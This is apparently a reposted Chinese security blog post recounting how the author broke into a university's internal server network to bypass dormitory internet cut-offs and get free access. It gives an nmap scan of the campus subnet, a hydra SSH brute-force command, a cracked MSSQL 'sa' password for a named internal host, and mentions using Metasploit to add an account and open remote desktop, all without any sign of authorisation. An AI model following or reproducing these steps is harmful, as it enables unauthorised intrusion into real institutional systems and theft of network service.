记一次突破校园定时断网及免费上网

本文稿费90软妹币

砸个广告:各位在网络安全方面有新创作的小伙伴,快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

-START-

首先在宿舍访问学校内网需要在路由器断开ppoe拨号,并切换成动态IP方式才可以正常访问。根据学校机房所在的位置,断网情况只存在宿舍区域推测内网的服务器是不会受断网影响。所以如果我能拿到内网服务器不仅能够突破11.40的断网说不定还能整个大学生涯免费上网(*^__^*) 想想都有点小激动~

0x01 信息搜集

首先用nmap扫描内网B段

nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml 192.168.1.1/16

65536个IP地址中有266个存活,排除本机所在的C段证明只有一个段是内网服务器所在,直接使用nmap扫描C段 sudo namp -sS -sV -O -Pn 192.168.200.1/24

扫描后发现常见的135 139 445端口均被过滤 4899与3306也惨遭沦陷,根据扫描结果与测试后得知以下情况:

1.已知校园服务器网段为192.168.200.1/24

2.常见端口均被过滤,仅幸存21,22,23,80,1433

3.且已验证每台开放web服务的服务器上都装有企业版360与网站卫士

所以我思路是打算目前放弃开放web服务的服务器(等大神放0day)从21,22和1433上找出口哦不找弱口令,把开放相关端口的IP整理好。

0x02.1 FTP匿名登录

无果(好像扫出来了没什么用)

0x02.2 ssh爆破

hydra -M /home/guoker/桌面/22ip.txt -l root -P /home/guoker/Blasting_dictionary/top100password.txt -vV ssh

0x02.3 mssql爆破

192.168.200.148 sa 123456aa 嘿嘿

0x03 文末

Msf

然后就是cmd加账号开3389,我就不截图了

关于Windows2003单网卡搭建VPN 有兴趣的小伙伴可以自行百度下。

到这儿文章就已经结束了,其他东西也不在本文多叙述。

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏*坤的Blog

DingTalk代码库机器人尝试

2195
来自专栏FreeBuf

加油站也会被黑?来看看这个攻击案例

这篇文章涉及的问题主要与加油管理设备公司Veeder Root相关的油品液位仪TLS-300/350 UST和TLS-350R相关,原因在于可以通过其错误配置的...

1946
来自专栏玄魂工作室

Hacker基础之Linux篇:一、系统简介

前言: 因为大佬玄魂最近比较忙,所以从今天开始我就在这个平台发布一些关于Hacker的基础知识,一开始准备了两个模块,一个是Linux基础,一...

39211
来自专栏linux驱动个人学习

Linux各种版本

 1.1   Fedora Core和Fedora     一开始总搞不清楚 Fedora Core和Fedora有什么关系?有什么不同,现在终于明白了,自从F...

3144
来自专栏猿人谷

如何学习linux操作系统

一、 选择适合自己的linux发行版 谈到linux的发行版本,太多了,可能谁也不能给出一个准确的数字,但是有一点是可以肯定的,linux正在变得越来越流行,...

1869
来自专栏落花落雨不落叶

在web浏览器上显示室内温度(nodeJs+arduino+socket.io)

27710
来自专栏原创

如何拉起被一键清除的安卓进程

做过开发的小伙伴可能会有类似的经历,之前做过一个用于自己大学班级日常互动的app。期初大家都觉得不错,有自己班级的风格,但一段时间后发现用的人越来越少,新状态也...

43010
来自专栏FreeBuf

技术讨论 | 一次尚未完成的薅羊毛行动

一、背景 XX眼镜,免费领取日抛5日装隐形眼镜活动,发现接收到的手机验证码为4位数字,看到4位验证码时就觉得有搞头。 顺便祝我伦生日快乐,等你下课~ 二、技术手...

1969
来自专栏BestSDK

一行代码,快速查出你对好友发送的微信数目

微信是生活中最常用的聊天软件,不管是空闲时间还是忙碌时间,我们都可以使用微信来与好友进行沟通、交流。你想知道自己与好友发送过多少天微信吗? 或许你会想着查看聊天...

2817
来自专栏尾尾部落

玩转微信 | 微信个人号自动回复,还能这样玩!

如今,通过微信进行营销的场景越来越多,比如常见的微商、淘宝客服、民宿预订、摄影约拍等,他们都会通过微信号与客户进行交流,为客户提供服务。但是随着客户量的增大,微...

762

扫码关注云+社区